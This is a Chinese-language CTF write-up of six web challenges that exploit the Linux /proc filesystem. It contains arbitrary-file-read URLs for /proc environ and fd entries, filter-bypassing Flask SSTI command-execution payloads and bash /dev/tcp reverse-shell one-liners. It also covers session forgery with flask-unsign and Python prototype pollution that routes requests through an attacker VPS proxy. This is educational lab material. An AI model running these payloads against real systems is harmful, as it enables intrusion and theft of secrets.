/proc利用相关例题总结
[toc]
知识点汇总
https://www.anquanke.com/post/id/241148#h2-10
复现环境buuctf 或者 nssctf都有
1.[HDCTF 2023]YamiYami
涉及知识点
任意文件读取/proc
解题流程
/pwd 提示查看 /app
/Upload file 一个上传接口
/Read somethings 类似ssrf漏洞 还是一个任意文件读取
尝试读取/app下所有文件 http://node4.anna.nssctf.cn:28544/read?url=file:///app/*
想直接读/flag file:///flag
返回 re.findall(‘flag’, url, re.IGNORECASE) 返回一个正则查找
/proc/1/cmdline 读取 当前进程信息
/app/run.sh 读源码
/app/app.py
/proc/1/environ 环境变量
其中proc 代表虚拟文件系统 可以访问 内核信息 1 代表 uid =1 一般为主系统
http://node4.anna.nssctf.cn:28544/read?url=file:///proc/1/cmdline
返回 /bin/bash./start.sh
查看/app/start.sh内容 没有什么可以利用的
一般flag在环境变量中
直接看环境变量
http://node4.anna.nssctf.cn:28544/read?url=file:///proc/1/environ
可以拿到flag
总结
可能存在任意文件读取的地方,都可以试试
/proc/1/cmdline 读取 当前进程信息
/app/run.sh 读源码
/app/app.py
/proc/1/environ 环境变量
其中proc 代表虚拟文件系统 可以访问 内核信息 1 代表 uid =1 一般为主系统
2.[pasecactf_2019]flask_ssti
涉及知识点
SSTI
/proc(选用)
解题流程
fuzz一下ssti过滤的字符
应该是过滤了字符 . ' _
把我们常用payload改写一下 {{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
访问 属性 的方式:
().class ()["class"] ()|attr("class") ().getattribute("class")
这里用简单的编码绕过(16进制)
__globals__ = \x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f
__builtins__=\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f
__import__=\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f
popen
正常构造出
{{lipsum["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]("os")["popen"]("ls")["read"]()}}
即可任意执行命令
找半天没找到flag….
看一下 /app/app.py源码 cat /app/app*
import random from flask
import Flask, render_template_string, render_template, request
import os app = Flask(__name__) app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'#
Tiaonmmn don 't remember to remove this part on deploy so nobody will solve that hehe '
''
def encode(line, key, key2): return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line))) app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
''
' def encode(line, key, key2): return '
'.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line))) file = open("/app/flag", "r") flag = file.read() flag = flag[:42] app.config['
flag '] = encode(flag, '
GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3 ', '
xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT ') flag = "" os.remove("/app/flag") nicknames = ['˜” * °★☆★_ % s_★☆★°° * ', ' % s~♡ⓛⓞⓥⓔ♡~', ' % s Вêчңø в øĤлâйĤé ', '♪♪♪ % s♪♪♪ ', ' [♥♥♥ % s♥♥♥]
', ' % s, kOтO® Aя)(оТеЛ@© 4@ $tьЯ ', '♔ % s♔ ', ' [♂+♂ = ♥] % s[♂+♂ = ♥]
'] @app.route(' / ', methods=['
GET ', '
POST ']) def index(): if request.method == '
POST ': try: p = request.values.get('
nickname ') id = random.randint(0, len(nicknames) - 1) if p != None: if '.
' in p or '
_ ' in p or '\
'' in p: return 'Your nickname contains restricted characters!'
return render_template_string(nicknames[id] % p) except Exception as e: print(e) return 'Exception'
return render_template('index.html') if __name__ == '__main__': app.run(host = '0.0.0.0', port = 1337), kOтO® Aя)(оТеЛ@© 4@ $tьЯ
看的头疼 美化一下 直接拿源码 放在html反转义
import random
from flask import Flask, render_template_string, render_template, request
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'
#Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = "" //将flag放在config中
os.remove("/app/flag")
nicknames = ['˜”*°★☆★_%s_★☆★°°*', '%s ~♡ⓛⓞⓥⓔ♡~', '%s Вêчңø в øĤлâйĤé', '♪ ♪ ♪ %s ♪ ♪ ♪ ', '[♥♥♥%s♥♥♥]', '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', '♔%s♔', '[♂+♂=♥]%s[♂+♂=♥]']
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
try:
p = request.values.get('nickname')
id = random.randint(0, len(nicknames) - 1)
if p != None:
if '.' in p or '_' in p or '\'' in p:
return 'Your nickname contains restricted characters!'
return render_template_string(nicknames[id] % p)
except Exception as e:
print(e)
return 'Exception'
return render_template('index.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
, kOтO®Aя )(оТеЛ@ ©4@$tьЯ
异或的异或等于本身
查看{{config}}
编写
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
flag="-M7\x10w@d?d\x02'k\x7f\x0eM\n<\x07(D\x1bO[\x17 3Ti\x02]O\x0c'V--\x16`\x12\x08\x1bG"
print(encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT'))
还有大佬用 https://johnfrod.top/ctf/pasecactf-2019flask_ssti/
利用/proc目录
经过阅读源码我们,app.py会打开/app/flag文件,然后读取其中的内容进行加密,加密函数在提示中给出的源码中。最后会删掉flag,导致无法直接通过读文件来获取flag。但是可以通过/proc读取当前进程(self)打开过得文件来获取内容
这里有一个很特殊的操作
1.涉及读取敏感文件
2.删除敏感文件
3.没有关闭文件流f
能够在/proc/self/fd/xxx
里找到进程打开的文件信息
**注意:**这里不能用命令执行去cat /proc/self/fd/3
,因为这样获取到得进程是cat
命令当前的进程,而不是当前服务的进程,所以是找不到flag的
所以我们要通过题目的当前进程使用读取文件(如文件包含漏洞,或者SSTI使用file模块读取文件)的方式读取/proc/self/cmdline
总结
ssti编码绕过+学会’找’flag+通过/proc/self/fd/id可以拿到打开过文件来获取内容
3.[网鼎杯 2020 白虎组]PicDown
涉及知识点
/proc的理解
解题流程
非预期
直接传入/flag
返回jpg文件 用文本软件打开即可
预期解
在linux中,proc是一个虚拟文件系统,也是一个控制中心,里面储存是当前内核运行状态的一系列特殊文件;该系统只存在内存当中,以文件系统的方式为访问系统内核数据的操作提供接口,可以通过更改其中的某些文件来改变内核运行状态。它也是内核提供给我们的查询中心,用户可以通过它查看系统硬件及当前运行的进程信息。 /proc/pid/cmdline 包含了用于开始进程的命令 ; /proc/pid/cwd 包含了当前进程工作目录的一个链接 ; /proc/pid/environ 包含了可用进程环境变量的列表 ; /proc/pid/exe 包含了正在进程中运行的程序链接; /proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接; /proc/pid/mem 包含了进程在内存中的内容; /proc/pid/stat 包含了进程的状态信息; /proc/pid/statm 包含了进程的内存使用信息。
/proc/self/cmdline
查看当先程序的执行 找源代码
app.py为源码位置
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
#进行 读取且删除 并且文件流未关闭
#可以通过/proc/self/fd/3读取文件流
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
#利用点 保证传入key=SECRET_KEY
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
/proc/self/fd/3
返回 zWp3bpDEyDJOIrpq6tBeEXe8pCJLVuT+kicalwJYmyI=
在/no_one_know_the_manager路由下传入 key=zWp3bpDEyDJOIrpq6tBeEXe8pCJLVuT+kicalwJYmyI=(这里记得url编码有=)
这里我 curl一下dns 看看出不出网
直接反弹shell 注意url编码
bash -c "bash -i >& /dev/tcp/ip/8888 0>&1"
flag{411a870c-29c4-42c5-a1ca-0f276e006a67}
总结
这道题运用了/proc/self/fd/3读取未关闭文件流的方法拿到key进行rce
4.[V&N2020 公开赛]CHECKIN
涉及知识点
解题流程
开题直接给源码
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
@app.route('/')
def source():
return open("app.py","r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0')
当shell执行后 读取又删除且没有关闭文件流
明明出外网,题目描述非说不出…
bash -c "bash -i >& /dev/tcp/ip/8888 0>&1"
cat /proc/*/fd/*
遍历所有 文件流
可以拿到flag
flag{0d7d28b8-9058-48aa-bfbc-10149bf3adbf}
总结
通过 /proc/*/fd/*
遍历所有文件流
5.[PASECA2019]honey_shop
考点
解题流程
看不出来什么就抓个包看看
session+类似jwt的形式 多半是python-flask-session
而且放在 jwt.io上也可以判断不是jwt
但是可以看看内容
通过修改flask-session的值实现更改
这里用工具 flask-unsign https://github.com/Paradoxis/Flask-Unsign
查看session的信息
flask-unsign --decode -c "eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.Ze3VzA.FP12qD8s8s-u1W6ZmYX5SX3mne8"
想办法更改balance 需要拿到secret-key
可以尝试爆破一下
flask-unsign --unsign -c "eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.Ze3VzA.FP12qD8s8s-u1W6ZmYX5SX3mne8"
尝试爆破失败 必须拿到secret-key
发现这存在下载功能
可以抓包看到请求
可以实现任意文件读取
可以读取../../../../proc/1/environ
拿到环境变量
会发现secret_key在环境变量中:VVX90LKWsDno9UnlulGwQMwdDH6BiHvkvMcNy6DZ
flask-unsign伪造
flask-unsign --sign -c "{'balance': 9999, 'purchases': []}" --secret "VVX90LKWsDno9UnlulGwQMwdDH6BiHvkvMcNy6DZ"
session=eyJiYWxhbmNlIjo5OTk5LCJwdXJjaGFzZXMiOltdfQ.Ze3Y8g.65hNJ1-zjpK1Sn-NKdgFWuBPj7c
浏览器伪造session即可
总结
涉及flask-session问题会运用工具flask-unsign伪造
当存在任意文件读取时考虑/proc/虚拟文件系统读取敏感信息
6.[2023安洵杯 Swagger docs]
题目地址:https://github.com/D0g3-Lab/i-SOON_CTF_2023/tree/main/web/swagger%20docs
认识一般flask基础架构
app/
|- [app.py](http://app.py/)
|- [config.py](http://config.py/)
|- static/ 静态目录
| |- style.css
|- templates/
| |- index.html
|- blueprints/
| |- auth/
| |- **init**.py
| |- [views.py](http://views.py/)
| |- [models.py](http://models.py/)
|- **init**.py
题目开题
{
"swagger": "2.0",
"info": {
"description": "Interface API Documentation",
"version": "1.1",
"title": "Interface API"
},
"paths": {
"/api-base/v0/register": {
"post": {
"consumes": [
"application/json"
],
"summary": "User Registration API",
"description": "Used for user registration",
"parameters": [
{
"name": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserRegistration"
}
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
}
}
}
},
"/api-base/v0/login": {
"post": {
"consumes": [
"application/json"
],
"summary": "User Login API",
"description": "Used for user login",
"parameters": [
{
"name": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserLogin"
}
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
}
}
}
},
"/api-base/v0/search": {
"get": {
"summary": "Information Query API",
"description": "Used to query information",
"parameters": [
{
"name": "file",
"in": "query",
"required": true,
"type": "string"
},
{
"name": "id",
"in": "query",
"required": false,
"type": "string"
},
{
"name": "type",
"in": "query",
"required": false,
"type": "string",
"description": "Default JSON format.If type is 'text',Text format will be returned"
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
},
"401": {
"description": "Unauthorized"
}
},
"security": [
{
"TokenAuth": []
}
]
}
},
"/api-base/v0/update": {
"post": {
"consumes": [
"application/json"
],
"summary": "Change Password API",
"description": "Used to change user password",
"parameters": [
{
"name": "password",
"in": "body",
"required": true,
"schema": {
"type": "object",
"properties": {
"password": {
"type": "string"
}
}
}
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
},
"401": {
"description": "Unauthorized"
}
},
"security": [
{
"TokenAuth": []
}
]
}
},
"/api-base/v0/logout": {
"get": {
"summary": "Logout API",
"description": "Used for user logout",
"responses": {
"200": {
"description": "success"
},
"401": {
"description": "Unauthorized"
}
},
"security": [
{
"TokenAuth": []
}
]
}
}
},
"definitions": {
"UserRegistration": {
"type": "object",
"properties": {
"username": {
"type": "string"
},
"password": {
"type": "string"
}
}
},
"UserLogin": {
"type": "object",
"properties": {
"username": {
"type": "string"
},
"password": {
"type": "string"
}
}
}
},
"securityDefinitions": {
"TokenAuth": {
"type": "apiKey",
"name": "Authorization",
"in": "header"
}
},
"security": [
{
"TokenAuth": []
}
]
}
定义api接口功能
/api-base/v0/register 注册
{"username":1,"password":1}
/api-base/v0/login 登录
{"username":1,"password":1}
登录成功后可以正常使用功能
/api-base/v0/search 注意英文注解 type=text 返回原文
这存在任意文件读取
/api-base/v0/search=../../../proc/1/cmdline&type=text
读取 当前进程信息
../../../proc/1/cmdline-->执行文件 /app/run.sh--> 读源码 /app/app.py
类似的 ../../../../proc/1/environ 环境变量
proc 虚拟文件系统 可以访问 内核信息
1 代表 uid =1 一般为主系统
/api-base/v0/search 存在任意文件读取 漏洞 必须指定type=text
http://23.94.38.86:9002/api-base/v0/search?file=/proc/1/cmdline&type=text
可以看到系统开的执行命令
可以判断程序路径是/app
file=/proc/1/environ&type=text
环境变量中没有flag
通过读取/app/app.py
查看源码
#coding=gbk
import json
from flask import Flask, request, jsonify,send_file,render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os
app = Flask(__name__)
app.config['TEMPLATES_RELOAD']=True
app.config['SECRET_KEY'] = 'fake_flag'
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
response0 = {
'code': 0,
'message': 'failed',
'result': None
}
response1={
'code': 1,
'message': 'success',
'result': current_time
}
response2 = {
'code': 2,
'message': 'Invalid request parameters',
'result': None
}
def auth(func):
@wraps(func)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return 'Invalid token', 401
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == User.username and payload['password'] == User.password:
return func(*args, **kwargs)
else:
return 'Invalid token', 401
except:
return 'Something error?', 500
return decorated
@app.route('/',methods=['GET'])
def index():
return send_file('api-docs.json', mimetype='application/json;charset=utf-8')
@app.route('/api-base/v0/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.json['username']
password = request.json['password']
User.setUser(username,password)
token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
User.setToken(token)
return jsonify(response1)
return jsonify(response2),400
@app.route('/api-base/v0/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.json['username']
password = request.json['password']
try:
token = User.token
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == username and payload['password'] == password:
response = jsonify(response1)
response.set_cookie('token', token)
return response
else:
return jsonify(response0), 401
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
return jsonify(response2), 400
@app.route('/api-base/v0/update', methods=['POST', 'GET'])
@auth
def update_password():
try:
if request.method == 'POST':
try:
new_password = request.get_json()
if new_password:
update(new_password, User)
updated_token = jwt.encode({'username': User.username, 'password': User.password},
app.config['SECRET_KEY'], algorithm='HS256')
User.token = updated_token
response = jsonify(response1)
response.set_cookie('token',updated_token)
return response
else:
return jsonify(response0), 401
except:
return "Something error?",505
else:
return jsonify(response2), 400
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
def update(src, dst):
if hasattr(dst, '__getitem__'):
for key in src:
if isinstance(src[key], dict):
if key in dst and isinstance(src[key], dict):
update(src[key], dst[key])
else:
dst[key] = src[key]
else:
dst[key] = src[key]
else:
for key, value in src.items() :
if hasattr(dst,key) and isinstance(value, dict):
update(value,getattr(dst, key))
else:
setattr(dst, key, value)
@app.route('/api-base/v0/logout')
def logout():
response = jsonify({'message': 'Logout successful!'})
response.delete_cookie('token')
return response
@app.route('/api-base/v0/search', methods=['POST','GET'])
@auth
def api():
if request.args.get('file'):
try:
if request.args.get('id'):
id = request.args.get('id')
else:
id = ''
data = requests.get("http://127.0.0.1:8899/v2/users?file=" + request.args.get('file') + '&id=' + id)
if data.status_code != 200:
return data.status_code
if request.args.get('type') == "text":
return render_template_string(data.text)
else:
return jsonify(json.loads(data.text))
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
except Exception:
return 'something error?'
else:
return jsonify(response2)
class MemUser:
def setUser(self, username, password):
self.username = username
self.password = password
def setToken(self, token):
self.token = token
def __init__(self):
self.username="admin"
self.password="password"
self.token=jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')
if __name__ == '__main__':
User = MemUser()
app.run(host='0.0.0.0')
updata函数提示我们可以用python原型链污染
def update(src, dst):
if hasattr(dst, '__getitem__'):
for key in src:
if isinstance(src[key], dict):
if key in dst and isinstance(src[key], dict):
update(src[key], dst[key])
else:
dst[key] = src[key]
else:
dst[key] = src[key]
else:
for key, value in src.items() :
if hasattr(dst,key) and isinstance(value, dict):
update(value,getattr(dst, key))
else:
setattr(dst, key, value)
类似merge函数(update) —>python原型链污染
update(new_password, User)#污染源
实现污染
@app.route('/api-base/v0/update', methods=['POST', 'GET'])
@auth
def update_password():
try:
if request.method == 'POST':
try:
new_password = request.get_json()#json数据传递
if new_password:
update(new_password, User)#污染源
updated_token = jwt.encode({'username': User.username, 'password': User.password},
app.config['SECRET_KEY'], algorithm='HS256')
User.token = updated_token
response = jsonify(response1)
response.set_cookie('token',updated_token)
return response
else:
return jsonify(response0), 401
except:
return "Something error?",505
else:
return jsonify(response2), 400
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
其中 User = MemUser()
MemUser类
class MemUser:
def setUser(self, username, password):
self.username = username
self.password = password
def setToken(self, token):
self.token = token
def __init__(self):
self.username="admin"
self.password="password"
self.token=jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')
可以通过对象的__init__
直接拿到__globals__
属性实现控制python中的任意属性
还发现render_template_string (ssti的标识) 渲染字符串 到rce
return render_template_string(data.text)
思路:
通过控制 data.text 为实现SSTI的RCE
如何控制
法一:__globals__
->os->environ->http_proxy(设置代理)->再通过nc 转发tcp数据流(vps可控response内容)
payload: 通过污染http_proxy让每次请求通过代理服务器也就是我们的vps
通过nc 监听篡改请求
payload 向/api-base/v0/update提交json数据
{"__init__":{"__globals__":{"os":{"environ":{"http_proxy":"我们vps的地址:监听端口"}}}}}
{"__init__":{"__globals__":{"os":{"environ":{"http_proxy":"148.135.82.190:8888"}}}}}
可以污染成功
然后 vps上监听端口8888
访问/api-base/v0/search 注意带参数type=text触发渲染
/api-base/v0/search?file=/app/app.py&type=text
vps上接受到请求
HTTP/1.1 200 OK
{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
构造响应包
可以看到响应包
读取2UARlN9KDhdmbhajd7gtamWuBf9CiFf0_FLAG文件
再次触发
HTTP/1.1 200 OK
{{lipsum.__globals__.__builtins__['__import__']('os').popen('cat 2U*').read()}}
可以拿到flag
如何理解nc
简易版的burp,可以实现tcp,udp信道的监听,数据的传递
nc -lvp 80
curl ip:80
vps 可控 返回内容
法二:__globals__
->requests->Response->text内容为payload
直接控制data.text 为我们ssti的payload
payload: 向/api-base/v0/update提交json数据
{"__init__":{"__globals__":{"requests":{"Response":{"text":"payload"}}}}}
例如:{"__init__":{"__globals__":{"requests":{"Response":{"text":"{{lipsum.__globals__.__builtins__['__import__']('os').popen('cat 2U*').read()}}"}}}}}
访问/api-base/v0/search?file=/app/app.py&type=text 触发
可以看到直接回显了 拿到flag